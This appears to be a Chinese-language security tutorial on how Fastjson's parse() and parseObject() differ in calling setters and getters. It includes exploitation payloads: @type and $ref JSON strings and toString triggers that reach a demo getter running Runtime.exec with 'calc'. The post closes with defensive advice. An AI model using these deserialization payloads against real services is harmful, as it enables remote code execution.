fastjson之parse和parseobject利用差异
字数 1421 2025-08-22 12:23:00

Fastjson parse()与parseObject()方法利用差异分析

1. 基本概念与区别

FastJson中的parse()parseObject()方法都可以用来将JSON字符串反序列化成Java对象,但两者存在关键差异:

  • parse():直接反序列化为Java对象,仅调用目标类的setter方法及特定条件的getter方法
  • parseObject():本质上调用parse()进行反序列化,但会额外将Java对象转为JSONObject对象(即执行JSON.toJSON()),因此会调用目标类的所有setter和getter方法

特定条件getter方法

parse()方法仅会调用满足以下条件的getter方法:

  • 返回值类型继承自:CollectionMapAtomicBooleanAtomicIntegerAtomicLong

2. 代码示例分析

测试类定义

package demo2;

import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class FastJsonTest {
    public String name;
    public String age;
    
    public FastJsonTest() {}
    
    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }
    
    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }
    
    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }
    
    public static void main(String[] args) {
        // parse()示例
        // Object obj = JSON.parse("{\"@type\":\"demo2.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        // System.out.println(obj);
        
        // parseObject()示例
        Object obj2 = JSON.parseObject("{\"@type\":\"demo2.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj2);
    }
}

执行结果差异

  • parse():仅调用setName()方法
  • parseObject():调用setName()getAge()getName()方法

3. 底层原理分析

parse()方法原理

  • 核心在createJavaBeanDeserializer方法
  • 使用JavaBeanDeserializer反序列化bean
  • javaBeanInfo.build()过程中:
    • 获取get方法时,仅处理返回值类型为特定集合或原子类的getter
    • setter方法无特殊限制,只要是setter方法就会被调用

parseObject()方法原理

  • 调用栈显示额外执行了JSON.toJSON()操作:
    getName:20, FastJsonTest (demo2)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:497, Method (java.lang.reflect)
    get:451, FieldInfo (com.alibaba.fastjson.util)
    getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
    getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
    toJSON:902, JSON (com.alibaba.fastjson)
    toJSON:824, JSON (com.alibaba.fastjson)
    parseObject:206, JSON (com.alibaba.fastjson)
    main:33, FastJsonTest (demo2)
    

4. 安全利用技巧

$ref引用利用(突破parse限制)

条件

  • JDK版本限制
  • fastjson >= 1.2.36
  • 开启Autotype

示例代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"demo2.User\",\"cmd\":\"calc\"},{\"@type\":\"demo2.User\",\"cmd\":\"notepad.exe\",\"test\":\"test\"},{\"$ref\":\"$[0].cmd\"}]";
        Object o = JSON.parse(payload);
    }
}

package demo2;
import java.io.IOException;

public class User {
    private String cmd;
    private String test;
    
    public String getTest() {
        System.out.println("getTest");
        return test;
    }
    
    public void setTest(String test) {
        System.out.println("setTest");
        this.test = test;
    }
    
    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(cmd);
        System.out.println("getcmd");
        return cmd;
    }
    
    public void setCmd(String cmd) {
        System.out.println("setcmd");
        this.cmd = cmd;
    }
}

$ref语法

  • "$ref":"$":引用根对象
  • "$ref":"$[0]":引用根数组的第一个元素
  • "$ref":"$.propertyName":引用根对象的某个属性

低版本限制原因

  • 需要refValue不为null
  • refValue必须是JSONObject类

数组toString触发

当反序列化数组对象时,打印操作会触发toString(),进而调用getter方法:

package demo2;
import com.alibaba.fastjson.JSON;

public class Test {
    private String id;
    
    public String getId() {
        System.out.println("getID");
        return id;
    }
    
    public void setId(String id) {
        System.out.println("setID");
        this.id = id;
    }
    
    public static void main(String[] args) {
        String payload = "[{\"@type\":\"demo2.Test\",\"id\":\"123\"}]";
        Object o = JSON.parse(payload);
        System.out.println(o);
    }
}

JSONObject.toString利用

利用JSONObject的toString方法触发getter调用:

package demo2;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Test {
    private String id;
    
    public String getId() {
        System.out.println("getID");
        return id;
    }
    
    public void setId(String id) {
        System.out.println("setID");
        this.id = id;
    }
    
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"aaa\":{\"@type\":\"demo2.Test\",\"id\":\"123\"}}";
        Object o = JSON.parse(payload);
        System.out.println(o);
    }
}

关键点

  • Fastjson解析时遇到{会加一层JSONObject
  • 构造key为JSONObject的形式:{{some}:x}

版本限制原因

在fastjson >=1.2.36版本中,DefaultJSONParser#parse入口点不再调用toString函数,导致此利用方式失效。

5. 总结

  1. 方法选择

    • 需要完整调用所有getter/setter时使用parseObject()
    • 仅需基本反序列化时使用parse()
  2. 安全利用

    • 利用$ref引用突破parse限制
    • 通过数组toString或JSONObject.toString间接触发getter
    • 注意版本差异对利用方式的影响
  3. 防御建议

    • 及时升级fastjson版本
    • 关闭Autotype功能
    • 对反序列化内容进行严格过滤
Fastjson parse()与parseObject()方法利用差异分析 1. 基本概念与区别 FastJson中的 parse() 和 parseObject() 方法都可以用来将JSON字符串反序列化成Java对象,但两者存在关键差异: parse() :直接反序列化为Java对象,仅调用目标类的setter方法及特定条件的getter方法 parseObject() :本质上调用 parse() 进行反序列化,但会额外将Java对象转为JSONObject对象(即执行 JSON.toJSON() ),因此会调用目标类的所有setter和getter方法 特定条件getter方法 parse()方法仅会调用满足以下条件的getter方法: 返回值类型继承自: Collection 、 Map 、 AtomicBoolean 、 AtomicInteger 、 AtomicLong 2. 代码示例分析 测试类定义 执行结果差异 parse() :仅调用 setName() 方法 parseObject() :调用 setName() 、 getAge() 、 getName() 方法 3. 底层原理分析 parse()方法原理 核心在 createJavaBeanDeserializer 方法 使用 JavaBeanDeserializer 反序列化bean 在 javaBeanInfo.build() 过程中: 获取get方法时,仅处理返回值类型为特定集合或原子类的getter setter方法无特殊限制,只要是setter方法就会被调用 parseObject()方法原理 调用栈显示额外执行了 JSON.toJSON() 操作: 4. 安全利用技巧 $ref引用利用(突破parse限制) 条件 : JDK版本限制 fastjson >= 1.2.36 开启Autotype 示例代码 : $ref语法 : "$ref":"$" :引用根对象 "$ref":"$[0]" :引用根数组的第一个元素 "$ref":"$.propertyName" :引用根对象的某个属性 低版本限制原因 需要refValue不为null refValue必须是JSONObject类 数组toString触发 当反序列化数组对象时,打印操作会触发toString(),进而调用getter方法: JSONObject.toString利用 利用JSONObject的toString方法触发getter调用: 关键点 : Fastjson解析时遇到 { 会加一层JSONObject 构造key为JSONObject的形式: {{some}:x} 版本限制原因 在fastjson >=1.2.36版本中, DefaultJSONParser#parse 入口点不再调用toString函数,导致此利用方式失效。 5. 总结 方法选择 : 需要完整调用所有getter/setter时使用 parseObject() 仅需基本反序列化时使用 parse() 安全利用 : 利用 $ref 引用突破parse限制 通过数组toString或JSONObject.toString间接触发getter 注意版本差异对利用方式的影响 防御建议 : 及时升级fastjson版本 关闭Autotype功能 对反序列化内容进行严格过滤